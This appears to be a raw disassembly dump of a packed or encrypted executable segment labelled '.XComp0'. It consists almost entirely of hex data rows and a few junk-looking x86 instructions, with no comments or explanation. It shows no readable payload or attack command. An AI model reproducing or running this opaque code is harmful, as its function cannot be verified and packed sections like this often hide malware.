6E68ED60h, 810059D6h, 481924C7h, 90D70135h dd 1D51556Eh, 8C6F702h, 14591280h, 0B7108107h, 565D015Fh dd 42474FFh, 0DF15D9ECh, 0CC26DD16h, 0AC0E2F47h, 9953663Fh dd 83101C40h, 9089C820h, 0A1BB0055h, 0C10AC71Fh, 6CE02EBh dd 8E3C405h, 6F000309h, 86C4A633h, 0E9D8291Fh, 1247D093h dd 0ED672DCDh, 98264C5Eh, 0D5F14856h, 0B3033242h, 22EB8014h dd 0E9180677h, 0BB4219AFh, 196A71DFh, 0C45C013Dh, 0E9F8215Bh dd 7DA72336h, 8B76619Ah, 0CCD125EFh, 2F36E9CDh, 401B6EE8h dd 46E73133h, 0F031906h, 80E9C8B7h, 5E563E62h, 78045869h dd 78BD4004h, 243935D2h, 94F5F531h, 5280115Eh, 8856DABAh dd 8C4A2238h, 1A8445E9h, 20BD0055h, 0C128F34Eh, 2CCB08E5h dd 0B71078Bh, 0CE9DA20h, 777A9213h, 1D4320EFh, 5FF83100h dd 63FC4405h, 0C6090137h dd 0E9574658h, 0F6932459h, 0F780DF0Eh, 3BC767FAh, 505BFE00h dd 90F07288h, 5AAFC4B0h, 82C00C83h, 0FEDD28F6h, 0E72A2092h dd 67F5BB01h, 0F7532E46h, 5BF830h, 0ECB9514Bh, 16123B3h dd 8959CB16h, 0D1122013h, 0C7CA4400h, 0EC400730h, 29C90FF2h dd 0C28038F9h, 37579D55h, 5A095B90h, 237112E9h, 59CD54h dd 0C34EFB58h, 0BAF18163h, 3C624218h, 5820260Ch, 3210233Eh dd 0EE5C7B6Ch, 3AF61CFEh, 0B410CED2h, 47984808h, 0BF5714D6h dd 0CA2A6006h, 0C015FD75h, 0D24E8346h, 0FE49014Dh, 278B5042h dd 0AFBB80h, 81567678h, 2F7E68CBh, 4DE9360Ch, 0FE14D91h dd 11C84F14h, 2044967Eh, 31D7E37Dh, 511EDF12h, 0DB367304h dd 13611316h, 30D30370h, 0C022E3Dh, 753A52AAh, 18DA621h dd 0CF3FC2Fh, 6CD666CFh, 6105F70Ch, 0D83105E1h, 4085768Ch dd 0F74C97D3h, 0E0132A08h, 0EFBE20E1h, 6994A52h, 4C1D01E4h dd 18482ECh, 249CE908h, 0C9BD26A6h, 158EC304h, 6931788Bh dd 4D01D4Bh, 65B6D430h, 882C2389h, 0E7038152h, 0C1E1053h dd 5CF7B847h, 86D248h, 36D6955Eh, 0FB660171h, 24395FC5h dd 84B4DE89h, 0D1B1E9h, 0C168D031h, 0A606B930h, 6D950832h dd 73115E13h, 0D89C40F9h, 0B1215A81h, 197B4D62h, 5A335DEBh dd 0D06B631h, 9C664DD7h, 0E689560Ah, 2880218Bh, 0DAD0049h dd 0D1F74903h, 754D99E9h, 0F2042033h, 914E4CE1h, 836288D0h dd 1058E289h, 1B5B691Fh, 76202056h, 1F8E5CB4h, 3FC229CDh dd 1EEB31B5h, 986B0CA6h, 71FEFD65h, 250E7C60h, 61A876ACh dd 7BB7DA5Ch, 5D3AA63Ah, 0C4C5890Dh, 20E97A5Ch, 6817CA50h dd 0A6650BF8h, 0A30A0100h, 92B9F1E9h, 771C8975h, 1016033h dd 0D17A9253h, 11E820EAh, 7F1A5112h, 305DF401h, 5831034Eh dd 74991C80h, 82E9D52Dh, 0C48BA654h, 9470B980h, 38D5A01Ch dd 93E74C68h, 0E954803Ch, 12C7A4BAh, 3472C388h, 66A1C8A8h dd 98B6620Fh, 0FF0097D1h, 0FA9D1C77h, 0F8186758h, 1ECBF29Ch dd 0AE0B34E4h, 24CBC1Dh, 60D51185h, 81A1EFE6h, 10722751h dd 284C9320h, 0FA9E8BDEh, 0C0C14A26h, 0F1842FE6h, 8802C201h dd 9B15641h, 0B200DEF7h, 48FB66AFh, 8692D4A0h, 3174111Fh dd 0F7015D00h, 0D57879E9h, 838C3530h, 0CFA0870Ch, 2C653DE9h dd 13C0F193h, 36E46E25h, 340E5E37h, 0E22CD5A5h, 0C563EBA6h dd 1B11C95h, 4F59DDCDh, 810BD5F7h, 0D218BC07h, 0F661E829h dd 0DC6DA07Eh, 80CD8560h, 2C533FC6h, 2822D3B7h, 0C80A2075h dd 0FBF4FBA0h, 0F3AEAF94h, 0E96C986Bh, 17D0601Ch, 2F377AF1h dd 699544Ch, 7D82590Dh, 902416CEh, 1131645h, 8BF02156h dd 2253234h, 840FC00Bh, 0FDC8A857h, 7B685282h, 3320466Bh dd 87238FE9h, 245C102Eh, 92135A92h, 6335D0Dh, 0E0E90D86h dd 98AC2ED0h, 12725559h, 2200455Dh, 0F11BD1EAh, 485F29E9h dd 0F825BCB3h, 18148209h, 77E4FF82h, 2D20C786h, 0A57792CEh dd 3F6884D5h, 12ABA26Eh, 1F105854h, 0B914DEA5h, 0D1CB84BEh dd 5D8F290Fh, 68C5AC5h, 5351D40Eh, 0A4183321h, 0E744424Fh dd 8888009h, 0F6095545h, 16E4647Ah, 0C731825Fh, 0C121B5AFh dd 0E68308EFh, 0BB01CFEEh, 8DB16C93h, 9820DF29h, 62944D17h dd 0EA30D539h, 0F5814D08h, 5DC69B09h, 7BA680A7h, 4651972h dd 9E9CB29h, 102E143Fh, 244A4235h, 0D3B19717h, 272803E2h dd 0B20FCF89h, 0A4EAD0E1h, 729023CDh, 0E9296E68h, 1893D054h dd 6051E2C8h, 0D3CFEA0Ch, 4FAE47CEh, 60448081h, 4EB0324Eh dd 0AE0E750Fh, 0C8EF806Fh, 1202FB1Eh, 0C15FFA29h, 4D2A3E37h dd 98D120DFh, 3B32CB41h, 10A5B218h, 8991535Fh, 0F5D8D26Eh dd 58FEAC5Ch, 338C5305h, 6D931F2h, 38325C0Dh, 528522Ch dd 531C0D68h, 7C9344EBh, 274CD9C1h, 7DAD490Ah, 0E95508C1h dd 95876566h, 9249ADC6h, 4A60890Eh, 35CF451Eh, 0A1F269E0h dd 4376803h, 3BF2650h, 61122C4Ch, 0DFA614C0h, 0F631709Fh dd 0FA0E88D7h, 0A3535B66h, 0D9CB86D3h, 93D330D1h, 9087CD9h dd 0F2805BDAh, 2C67DE87h, 0E91AD0D4h, 0E548C4C0h, 651C26C8h dd 2681653Fh, 8151244Bh, 47F0581h, 105ED54Bh, 0E4F04C81h dd 633BB92h, 0DC20631h, 0BAC3295Ch, 2F1C49A6h, 0FE5D3264h dd 88D091C5h, 0C10F7537h, 0AE127EE1h, 0CA01C1C1h, 585A1920h dd 0D180A937h, 8127D27Eh, 9678C23Fh, 0A7006895h, 264C0429h dd 5E225C1h, 3904A70Bh, 7DC01350h, 4BA7FF2h, 52514F3Bh dd 4871E059h, 447A6450h, 104BB40h, 51D8286Bh, 0D0D7B450h dd 9006B353h, 0DD309EB5h, 5A5E202Ch, 5943584Fh, 2E826859h dd 22D4E917h, 0F2D358C8h, 3CD1086Eh, 24DBA643h, 8F6E8002h dd 0E4A64008h, 42EC0924h, 73E0FB09h, 31051CABh, 22C4E9FCh dd 0D3299E43h, 501E075Ah, 6370575Ch, 82B1F0E3h, 0C058A444h dd 1440D40Fh, 7A7E10A7h, 292F832Ch, 2F72AA3h, 0E9CAB050h dd 94A67469h, 54004EDBh, 0C14EA256h, 134307EBh, 47D6CFE9h dd 0A05BC7FAh, 0DFF77AECh, 0EF050998h, 7E5A5FB9h, 846E9C2h dd 208504B7h, 88ADC2AEh, 0F500A352h, 1AF8379Fh, 0CE07EDC1h dd 0E5C10606h, 34CAE905h, 0E206C0BCh, 89C28004h, 76354006h dd 28FC82E1h, 625066C3h, 958E1h, 127E92B9h, 5F022D4Ch dd 530DCA00h, 0A5260CBBh, 8A49C25h, 0BA038906h, 0E74B5D30h dd 0E7196089h, 46E6AA71h, 67B6F6A2h, 69D10A16h, 0FBE2604h dd 75E3A557h, 20686A8Ch, 544E1BD9h, 25839D09h, 97DC59A7h dd 0F6A840D2h, 8851D30Eh, 2E849DDh, 84E1AB72h, 0F3F2B9B0h dd 0A915BC58h, 0CE00BCE8h, 3A7E389Fh, 0DDFBD6F7h, 6B1AACF4h dd 0A20F69CFh, 0AC6C68D8h, 999BBCC5h, 0CFC0B1B9h, 868F3818h dd 34EDC0h, 0E781D7F7h, 3FEB4551h, 391E474Bh, 15360C4h dd 7F9EE0h, 2961410Dh, 9AE952D0h, 31016BB6h, 0CF015AD1h dd 2BB7D0BBh, 0B8509216h, 0F01950A2h, 0A44BE05h, 105F361h dd 8D60C4F2h, 54B0924Dh, 10DEAC04h, 0FA3EC2A3h, 0C12EA804h dd 0F69F80E6h, 1E26107Eh, 60031315h, 0E00EA668h, 130626E2h dd 52422E02h, 2006120Eh, 2955DC08h, 0D631CC16h, 0A21E3785h dd 460A4ED2h, 48AC393Ch, 29B0324Bh, 80928BF6h, 25D8F739h dd 0CE631885h, 4F30F08h, 40686F14h, 33D220F2h, 0F85C2C59h dd 6CA94BF7h, 0B92491C5h, 2EB8E984h, 680923E2h, 0AB995B9Fh dd 87D42CBAh, 44AB8BD6h, 314C327Fh, 7E53E12Bh, 98B40622h dd 0CE248626h, 890C41A1h, 0A45F9FFAh, 5815C80Ch, 5836E9C2h dd 57AD00DEh, 86685053h, 640EB80Ah, 21563558h, 0C38955FBh dd 1704BFE0h, 215FBBB7h, 4469182h, 0C15CAA47h, 68FA56ADh dd 1482BE5Fh, 0F962AF35h, 0EED10202h, 0A260DEF7h, 0C23E1B43h dd 5E78B0Ah, 242A844Fh, 0E345590Fh, 48ED8B02h, 3BA0792h dd 57200DBFh, 12626620h, 15EF729h, 0BD554784h, 5BA4E4E2h dd 5DEF3117h, 8006E909h, 2B284DD5h, 936902Ch, 32AE87DEh dd 61ECCE8h, 76278082h, 0C7041567h, 276B960Ch, 0B4EEC01Bh dd 663B7378h, 5F0324C1h, 0FC6DDF02h, 1010077Fh, 0F1E927B9h dd 7E35BE4Ah, 41653E35h, 1FC52381h, 1FEFF3A3h, 872F7B83h dd 744C8A09h, 0F335595Ah, 18126487h, 48E289F2h, 9478AFA6h dd 32BBCB2Dh, 58D43F58h, 159CD3C5h, 7AD2605Ch, 0CAC2E99Ch dd 0A44A62D4h, 7915D780h, 413A58B9h, 7B0F9609h, 5DDB9B02h dd 38B9D0CAh, 284B939Dh dd 946293h, 0B9515713h, 6F2310D7h, 10F1812Eh, 846AD009h dd 68020C7Dh, 0E2661361h, 0B786B100h, 32EF80EEh, 97BE2DE9h dd 93D9DEBBh, 0BD6280F6h, 36086560h, 30287C01h, 0C42F67F9h dd 0B2986602h, 207AA926h, 25480069h, 905E46E6h, 84139401h dd 929963E9h, 0EF9314F0h, 9466378Fh, 8113A91Ch, 0ADE9C330h dd 0FBA9074h, 60012C5Ah, 8527B44Bh, 8E826780h, 85F08492h dd 0C240007Ah, 30FC3E4h, 300D569Ch, 0E7580FDh, 0B43184E4h dd 949ACF7h, 7600691Ch, 331850E1h, 4F09CFECh, 632F5E11h dd 0F64ED304h, 7BEF1F1Ah, 17F4B5Fh, 0C9E95E81h, 0E160AEECh dd 3E885364h, 0E5988C5Bh, 94B1F320h, 1F7542FCh, 53D83100h dd 59EB2768h, 7831AA4h, 69C25166h, 88EB5102h, 0F7189EF1h dd 17A2BB38h, 4B31C772h, 0E696602h, 9A689F6Ch, 14E6B43h dd 0C10484Ch, 8C8B0A45h, 69025E08h, 6009C8C2h, 0F6CE311Dh dd 6068154Eh, 0BB00403Fh, 7DD0E76h, 0B512CB81h, 3C05C37Ch dd 6DC884B0h, 28AE8008h, 26EDD35Ch, 6152BD88h, 6F9D728Ah dd 0AA3FC9D0h, 3F265BE5h, 1D6DCC8Ch, 836984C7h, 0E9E7600Ch dd 40545A4Bh, 5B0284C9h, 3616BD75h, 120C3D70h, 507EE0CDh dd 1F2D8DEBh, 75C7ACAh, 0D355D001h, 40033E1Ah, 2A7CD9BFh dd 0D34AEF67h, 0C8A28589h, 0B14AC8A0h, 0A131984Dh, 58D3D721h dd 99514378h, 0D9E99D4Bh, 3146166Fh, 0CEEF3090h, 0BF23C707h dd 427F4E27h, 70F3BD0Dh, 72BA0BB8h, 10406393h, 0B8806EF2h dd 0FD2800D5h, 39620D08h, 0B3FE727Ah, 0CB7D2B60h, 4C516892h dd 9304B93Fh, 0C040E54Dh, 0F1E4DCFAh, 97203D98h, 5D54289Ch dd 124D0F9Eh, 4AA60904h, 3B02D4EFh, 36840FC2h, 0ACBBE8DDh dd 0C989576h, 0DC171727h, 0A1C2554Ah, 0BE0AF0D7h, 39326D5h dd 664C1AF5h, 9E0910F1h, 8DE9521Ch, 0D017A92Ch, 0BB6039D9h dd 2D844051h, 0F01F050Eh, 7B96A136h, 17446508h, 508A95B3h dd 0C85845B6h, 3F3F161h, 57E4B156h, 53685B81h, 245F0746h dd 75418943h, 8350B9F0h, 8A0683D1h, 0FF4F4615h, 5A123268h dd 2166F561h, 9A13D732h, 300B3D77h, 0BB5B2E68h, 5EDA1A61h dd 0E90CA833h, 5F10B37Bh, 77EA8324h, 3C101410h, 0D5F61952h dd 482D1726h, 32611A07h, 0D9CA6249h, 300ADF41h, 8610278Dh dd 5A27F430h, 0A3584E1Ah, 0C49E925h, 7141CCFh, 89576111h dd 0EAECD2E8h, 4CD459F2h, 6206D16Fh, 42515C9Bh, 3AD06D82h dd 56B4CF0h, 0D37157A2h, 0B12045BBh, 9003B2A2h, 9F1CA326h dd 6653EA57h, 0C5140B58h, 2B2AD028h, 0A2C435E3h, 6890DF3Bh dd 0F7C25D8Bh, 98E9CA18h, 0BF529D4Eh, 0D7D34E88h, 0CB59645Ah dd 46E90AFDh, 50CA6AB8h, 0ABEE13BFh, 0CAE51E5Bh, 53A669CDh dd 0DFFC2BFCh, 48491FB0h, 5F14B117h, 44A864BCh, 0F95E6293h dd 302F4D16h, 77EF68ADh, 0E950E49Eh, 2B39595Bh, 17D0A162h dd 5289AEF1h, 6C5A6054h, 0D893877h, 22AC99Fh, 394F6820h dd 0C305F66Ch, 211B2F10h, 0EA952E82h, 2979B129h, 45187822h dd 0EA21D0C6h, 0E2815D01h, 27B125D7h, 0AC1213DBh, 64F85690h dd 84F99D05h, 341F6876h, 0F0CEBF92h, 4F9025h, 6E601EB4h dd 2959C889h, 0FF58C22Ch, 0C8FAD19Ch, 0E3E91392h, 0CB01D244h dd 25BDCEC4h, 6718C703h, 26DA2B2Eh, 3E8E8770h, 676AE694h dd 0CB09C11Fh, 46FF8259h, 94E5E496h, 4AE44B4Ah, 5A9E8754h dd 276DA4ECh, 19A4C445h, 2F762989h, 0BB7B54A7h, 0B8007C1Eh dd 740234CDh, 750DD525h, 4876EFh, 1ECE01A9h, 0E246BA2Dh dd 89016075h, 299A0D76h, 6A7058C7h, 0D0473966h, 5FFE2579h dd 2DD87708h, 0F4410232h, 0E88105E3h, 10429F6h, 4C629C82h dd 0BFCA9A3Bh, 544C62D7h, 492AA08Dh, 295E2B5Ch, 68052037h dd 195D492Fh, 212430C4h, 35FB7721h, 0A30E47E1h, 0FA7606Bh dd 2CE9C8AFh, 807712D5h, 612F274Bh, 18095B05h, 82F76625h dd 1126DAh, 0C791F681h, 1C4BD04h, 51CE5EF2h, 23847848h dd 4835E920h, 2568B75Bh, 815C2099h, 54EEBFC3h, 0EFF018F0h dd 0FC12EE9h, 9F004948h, 7640FDF7h, 0BF0C4F60h, 18146973h dd 5B6142E9h, 1F131AEBh, 52004429h, 6B262D9Bh, 0E1719058h dd 4B30CC48h, 848C3685h, 824D18A0h, 0A069DB94h, 0F65CDAC2h dd 7568141Ah, 14D2C23Bh, 0A393B40Ah, 0E7810113h, 0F433592h dd 12AAEFD8h, 10F908FEh, 0E9841A17h, 5FAAD28Fh, 23B0BFECh dd 20753803h, 0F3D5F771h, 0EC06A0F5h, 9E91808h, 6203260Dh dd 0DB68380Bh, 609C1A3Ah, 807CB8C1h, 2A09BBB9h, 4966CFh dd 0E66067ABh, 0D931136Bh, 2950A05Bh, 485EF527h, 817F275Eh dd 0E488953h, 90F9539Dh, 0C3FD8510h, 14C26A90h, 99B4F4CAh dd 0BF57403Fh, 152E0C45h, 3812AE78h, 0FC12C72Dh, 31CE9001h dd 4929B27h, 87D544C0h, 0C6ED5052h, 0D80031DFh, 1A22055Bh dd 980140AFh, 0A4462F9Fh, 41448A22h, 20628156h, 81B80029h dd 7D5CC270h, 0E1550077h, 54BE2505h, 9541286Ch, 0D806CBB7h dd 50DB5700h, 7B987A4Bh, 0FC5ABE40h, 9A0B4DEh, 69CC5CD1h dd 6E622D4Eh, 9A456B5Ch, 0BA2F40E6h, 4D66B164h, 257122CCh dd 4FEAA5A5h, 5E21AE56h, 0F24D02D1h, 0BF583131h, 6072ED83h dd 0CF295C09h db 21h, 47h ; --------------------------------------------------------------------------- push ebp mov ebp, esp jbe short loc_4F496B xor al, [ebx-110E78F4h] push es retn ; --------------------------------------------------------------------------- db 0E9h dd 0D09B6F18h, 5516652Ch, 4AF9E324h, 9A95C29h, 2A7303B1h dd 0B7123408h, 14E0362Ah, 36304E5Ah, 4C6103EAh, 6B20114Ch dd 46CFFE2Eh, 0EE0F8611h, 4C675201h, 0A6AB5F24h, 2B298E41h db 1, 0C7h, 20h ; --------------------------------------------------------------------------- loc_4F496B: ; CODE XREF: .XComp0:004F4921j add edi, [edi+61h] cmp al, 66h inc ecx movsd and ah, ds:13596DD8h sub al, 8Ch jg short loc_4F49DE add [esi], eax not edx push 1B7ECA5Bh inc eax push esi mov esi, 163C7BA9h push cs mov cl, 0F5h push ebp jmp near ptr 8A628545h ; --------------------------------------------------------------------------- and [eax+7D9A1EBBh], bl sub [edx], ch cdq retn 90h ; --------------------------------------------------------------------------- db 0EEh, 81h, 0C6h ; --------------------------------------------------------------------------- test eax, 5D124954h cld mov al, ds:4B4C38BAh cmp eax, 37426807h db 2Eh retn 3D84h ; --------------------------------------------------------------------------- dd 0A0A38F09h, 0D401FAF2h, 0F153FA0Bh, 0EAFB282Fh, 0A42BC7AAh dd 7426D502h, 0B9DF2903h, 9D262775h, 5447A405h db 37h, 80h ; --------------------------------------------------------------------------- loc_4F49DE: ; CODE XREF: .XComp0:004F497Aj sub al, 0D3h push edx jo short loc_4F49EA inc eax and eax, 4EC96CCFh ; --------------------------------------------------------------------------- db 0C4h ; --------------------------------------------------------------------------- loc_4F49EA: ; CODE XREF: .XComp0:004F49E1j jmp near ptr 0AE01FA09h ; --------------------------------------------------------------------------- push 57h cmp es:[eax], al sub eax, 777B0D6Fh retn ; --------------------------------------------------------------------------- dw 4701h dd 0B073AB35h, 0A5F44026h, 42312C62h, 26EC1060h, 5A02A0ADh dd 81374E32h, 6CD276C4h, 177129FDh, 31BE9740h, 10209C2h dd 0CA015AD0h, 2679FD68h, 67AA0500h, 4E844E25h, 122920E0h dd 0A05658C6h, 5105CD20h, 88E925ADh, 7459F4B1h, 514C6221h dd 525B21DAh, 0BA81E906h, 0CB1D9E1Ah, 0C11CEE7h, 7E90862h dd 52ACFFE8h, 80D9B205h, 1ACBEFCAh, 440FE250h, 0A40CF223h dd 0C5CFB4Dh, 0BD970ED5h, 0FEB8315Bh, 0A2985DE9h, 43921435h dd 0BC63FBE0h, 4AFA2ABBh, 0F3FA8150h, 7A9E2701h, 2AF91932h dd 4D0E46BFh, 0BB024456h, 796D45C6h, 5E390554h, 6F5488F1h dd 1F1CDCADh, 28403860h, 6F889B94h, 0EA800346h, 0E2A158D6h dd 90F4F3F7h, 0D7685654h, 32CE520Bh, 0F527065Eh, 31587C88h dd 0F38B14C9h, 0A1706804h, 900E634h, 1AB85BDEh, 0ED999F14h dd 0B42F7FD5h, 9381A2A4h, 0CD05B98h, 0AD5D3B83h, 0A9C9C24Fh dd 0B0093924h, 6361B442h, 0D08C73E9h, 0BB0F66F9h, 0B0084DB1h dd 0C13117C0h, 46AC926h, 1396DAE4h, 0F40B7413h, 0FA5C681Bh dd 54129AA4h, 5B99EB55h, 2F58F101h, 645E3022h, 19DB48Dh dd 1586D02h, 0DDBF3253h, 5735ED93h, 77CA9591h, 0DC34B501h dd 0BB9FE7FBh, 0C0C3D9C7h, 20CE9656h, 5B4F72E4h, 0BD93F8C7h dd 0EA612E1Bh, 0BD9052C9h, 1E2468F3h, 7100A855h, 0E9136F10h dd 0D5394117h, 0A79A5516h, 0C05C25EFh, 65E968E8h, 0AC272D36h dd 0A0B005A5h, 0E256C720h, 0EF0048B7h, 5E7C08Ah, 5000C7FEh dd 535134B4h, 70B1C8B7h, 83F94822h, 8002E842h, 0E9C0E6C9h dd 0C14CEE8Fh, 0D98334C9h, 0E78A19A8h, 1DE0EAEBh, 0A9E3812Dh dd 801B123Ah, 8954960Ch, 2DE94B02h, 0FCA02DACh, 284A1FEDh dd 0F1272B7Ch, 0C6556A66h, 119C2E3Bh, 822C4776h, 88ACBF8Eh dd 0A5D45880h, 4BBA20E8h, 0C4D3375Eh, 81A5B192h, 1A342786h dd 1D20560Ch, 0BE1313A2h, 0A96A0976h, 66B06496h, 0F0EC8BB6h dd 9B1B4ED1h, 4F12525Ch, 0E5AFC3h, 1A26756Ch, 5D650D48h dd 35407A03h, 0FEC028D5h, 0E5CD49FAh, 0E100CC58h, 811E6A3Ah dd 391373E7h, 59057631h, 32B80A75h, 2A0CBBC0h, 84F378DEh dd 5E0C1ACh, 861CE281h, 0B8726272h, 9F556525h, 5613A25Eh dd 0C995AE3h, 0A43CAF70h, 81F220C2h, 51B7B604h, 6FACF588h dd 0C3075A38h, 0EBB05058h, 0A570B509h, 78EE547Eh, 0BB004FB6h dd 4C934E08h, 2BBD0F55h, 8120DE6Eh, 632644CDh, 70C3960h dd 4B10B44Ah, 4920874Dh, 0D75D100h, 5F9E2E20h, 6025A724h dd 12A6C365h, 17D540Ch, 44624517h, 8B046E7Bh, 0CA1747C9h dd 354B7EBDh, 0EAC139C0h, 7E2FC07h, 4A2466B2h, 34417F42h dd 6EF91604h, 0FAD14A04h, 0E4C61E90h, 807E2EABh, 895E0978h dd 1B88618Ch, 4A770305h, 46ACEBE9h, 23B4CF58h, 8CDD3CACh dd 0FE05011Bh, 2C6835Fh, 419DCCF4h, 900441A5h, 0C19E706Eh dd 405EF2Ch, 0CB396019h, 1C109162h, 428F0B29h, 0B6068030h dd 0FC31485Ah, 41584F43h, 0AC7B6FF0h, 15407B75h, 273F1EE7h dd 6DDC37E9h, 0A0A56527h, 11B046CEh, 8FB0CF24h, 3DE5F237h dd 6FDCBFE1h, 0B7E9224h, 7B27685Dh, 7882DD9Ah, 8E615356h dd 81D7049Bh, 0C14025BBh, 34B0EB84h, 4C553068h, 0B502DE0Ch dd 0B27E7290h, 0F9475B81h, 3EB1EDD5h, 0ECDCEECh, 87681827h dd 124436DAh, 0F1E4317Eh, 3D308DEh, 80439D49h, 2375F848h dd 5A0CC03Ch, 890EC50Dh, 0D160D967h, 36E1809Fh, 0B044F366h dd 53CF3B13h, 64FC7F3Ah, 0C349AF08h, 0C058DE11h, 95E41215h dd 0BB3D84C9h, 372740D4h, 0C5F71DA2h, 0EA4026E2h, 239C038Fh dd 542A3A80h, 1EF5816Eh, 6E5C69D0h, 269A384Eh, 0F7606AD4h dd 0B4201C7Ah, 83EA2A74h, 0CBED4FFh, 0F06D244Eh, 0A173B99h dd 0E2885221h, 68434089h, 5A2EF12Ah, 0B58E5D48h, 6257B705h dd 6A05DB80h, 0A93C4832h, 72DE814h, 0B5865558h, 759835B4h dd 0E0AA0926h, 0BAC9F70Ch, 0C8883950h, 5928C858h, 0D3BC4F99h dd 0D3E8F72Ch, 212EB41Ah, 0F1029F8h, 3E045A00h, 0E828E72Ch dd 8AB7D3EDh, 0F060838h, 551AE281h, 0E12444DEh, 635CFE42h dd 0CD875EE0h, 60E8CEBAh, 0D4CEFD01h, 6D62A6F6h, 36A4050Ch dd 885F1F4Eh, 904EE0F3h, 0A185A527h, 6438F3E1h, 49EDE307h dd 0D87BC748h, 0CB042B28h, 739B379Dh, 0CD120A14h, 20490005h dd 29764A0Dh, 28ED951h, 0B8895B08h, 0E99DFDE5h, 5C9282EEh dd 0FEAE9A4h, 145249FEh, 0CA4ABEE5h, 55F87D21h, 0BBE88A95h dd 7D6E6884h, 8130A1A2h, 3A469916h, 0CBC4174Eh, 0AF680703h dd 0CD7D1042h, 0D7F61AB0h, 10EC104h, 0FEE7F7CCh, 8D0EBD28h dd 59C5897Dh, 31F5A5CCh, 1848E4Ah, 0CB20F7D0h, 67F7F387h dd 0D2DB09D6h, 19E642D4h, 0EB49A2F0h, 22957E14h, 0C193BAF2h dd 6B351Bh, 50E0EA9Bh, 89488A91h, 0C85B73D4h, 0E90860CAh dd 0AC07A632h, 0B682D830h, 0E98A76B5h, 0B8C9BF12h, 2F3DBCFEh dd 127514D5h, 221C6F21h, 0FFF81A3Ch, 0EDA8824h, 5B0B2510h dd 0AE90E328h, 999D5450h, 4960572Fh, 0A930160Eh, 0C7FE0039h dd 4020A25Ch, 0FB7F090h, 4A84324Ah, 44D16404h, 0E6C6580Eh dd 0F872A39Bh, 5F37C17Ah, 97E40801h, 0F7E0DCB1h, 0F9EF0481h dd 0A347D148h, 0EFC04BC0h, 4F408C5Fh, 56D7C1ABh, 0E5C034F3h dd 81810639h, 33926D4h, 0C470DDF7h, 2872943Ch, 29B8408Ah dd 0E304B79Eh, 0F181060Ch, 6801F1A2h, 58BB801Ch, 0D56B192Dh dd 0F801140Ah, 0FF160705h, 0DD532130h, 0C45868A8h, 0AB41958h dd 27BA4EA6h, 2D6082EAh, 35075EE4h, 5A9004ACh, 0CEA20FA0h dd 0C721057Bh, 0A933B3E9h, 4D93D724h, 0C4ED40FBh, 0D2541780h dd 5E0D014Ch, 73D9215Dh, 0B0D6840Ch, 8408E647h, 5724902Ah dd 295A1568h, 0FC47C30h, 5454CA3h, 5B4D4802h, 6E84340h dd 5F7D2E32h, 5E23E300h, 0C0E94B68h, 66FAA8F7h, 7DB3500Fh dd 8CAF8B29h, 1890590Bh, 0C988025Eh, 98542629h, 51783BEAh dd 2C6E08EEh, 4269F96Ch, 0B5BE58A9h, 6AF8961Ah, 5BAB4E30h dd 3E44F5F6h, 0F0834306h, 6FA7255Eh, 7055AF8h, 19F61505h dd 0F2A867E9h, 2973395Bh, 75094BFh, 0F4E95152h, 178014FCh dd 0BF675EBh, 8A22BD00h, 9660742Dh, 0C00B353Bh, 0F81141FDh dd 4CA7301Fh, 2F96EF6Dh, 0BE6E743Eh, 0BE2A7F9h, 7336054Fh dd 0C90C715Eh, 9E40FD16h, 0B3125BEh, 669B30C0h, 0D7885307h dd 268837E9h, 43AE0324h, 0F2B0522Eh, 0B8134051h, 0F5A0095Dh dd 12329DF5h, 57C8DCC8h, 0A22FCA31h, 6DDD064Bh, 4FE80C82h dd 33F617FDh, 0F9212B0Bh, 0E1514BF3h, 9909742h, 0E00EFBF1h dd 5923A736h, 222EF370h, 0DAD0A049h, 0D0213F5Bh, 0E8845358h dd 0B2520137h, 42A8883Fh, 82284CFCh, 7C691610h, 395BDC38h dd 0D4F680FCh, 0E93DC480h, 0E2AE9EBh, 0D80755C0h, 0C15B452Ch dd 48585CDAh, 781257C2h, 73D36C9Ch, 0BDF29C2Ch, 47E9E698h dd 0BD01459Eh, 355E2B51h, 0DD6C70h, 456A347Bh, 5FE9D5F7h dd 0C72D4CBCh, 2510A60Eh, 0B9C38D92h, 665AF191h, 0CA4E709Eh dd 7F95B704h, 68093CA2h, 0E183FC5h, 626592E9h, 0EFC0F663h dd 0F8572373h, 88744FACh, 0C79131BBh, 0B5C50E18h, 0EC28309Fh dd 80DCF666h, 1BD220EDh, 4F09EF94h, 70808153h, 0F638198Eh dd 0A218854Ch, 0F2E7712Eh, 4B5A7907h, 608EDFF7h, 34A609CEh dd 647D27E9h, 88ADF2A2h, 2364EB8Fh, 5153AB8Ah, 56388A09h dd 81CAEE0Dh, 57C028Fh dd 19C128EBh, 0C3310394h, 0C88FC25Dh, 0EC50821h, 0DC685866h dd 0B35C3193h, 68C3FAE4h, 0BA98484Eh, 83F50580h, 0ED40B8E9h dd 58B6C97Bh, 0C8312F6Fh, 8B9F126Ch, 0A6315B8Ah, 8C565AD3h dd 804FBCD0h, 2F395F2Dh, 7D058330h, 0D56D8B2Eh, 11786081h dd 8FF24461h, 0B119407h, 662ACC68h, 7090063h, 51555F6Ch dd 5199DB9h, 5E683718h, 0E311343Fh, 799E58E3h, 108D3448h dd 5C3BCB94h, 9772412Ch, 0FF401D21h, 0B4F6FE96h, 67075595h dd 0DF01589Ah, 0A81B2FD6h, 5C895793h, 0B025D3E7h, 834DE785h dd 8CF8ED17h, 84FA8633h, 0EB4DBC60h, 40BB1415h, 9AFC5B8Dh dd 33040BB5h, 6EE29A5Ch, 80C24AB8h, 573BFB9Eh, 0C1496E06h dd 7DAA07E1h, 93B9A21h, 71C50E56h, 20F93302h, 0B10B9BD2h dd 2626F69h, 0F2155BF0h, 0C28102C5h, 75375063h, 48E18D63h dd 2129DD84h, 0B4042A55h, 3694CEE9h, 0C2094B91h, 806BF370h dd 0F704E681h, 4E516D62h, 747CAC82h, 0D94A8941h, 0A805262Bh dd 4E81AC5Ch, 0A64A708Fh, 0B7324E57h, 54560083h, 8224E95Eh dd 8089561Ah, 1BD368B6h, 7517C831h, 5FFD0987h, 9A07CCD2h dd 26CA6EB0h, 0F052B65Fh db 0E9h byte_4F5345 db 3Bh, 60h, 7Eh ; DATA XREF: .XComp0:00452F20o ; .XComp0:00453274o dd 16D0CE17h, 0F71F0298h, 7EEC1DEh, 4DE63760h, 0B718943Dh dd 0DD7148D6h, 0F6442EA6h, 1EF5EE00h, 4DE9F329h, 73580719h dd 71688005h, 0B5B28C4Eh, 1755DD48h, 74916602h, 6760BEB1h dd 12EF9ACBh, 939F7CE9h, 169CD3D3h, 2DE8F5D0h, 44601F7Eh dd 232ECA47h, 89A642C5h, 0F853C7Eh, 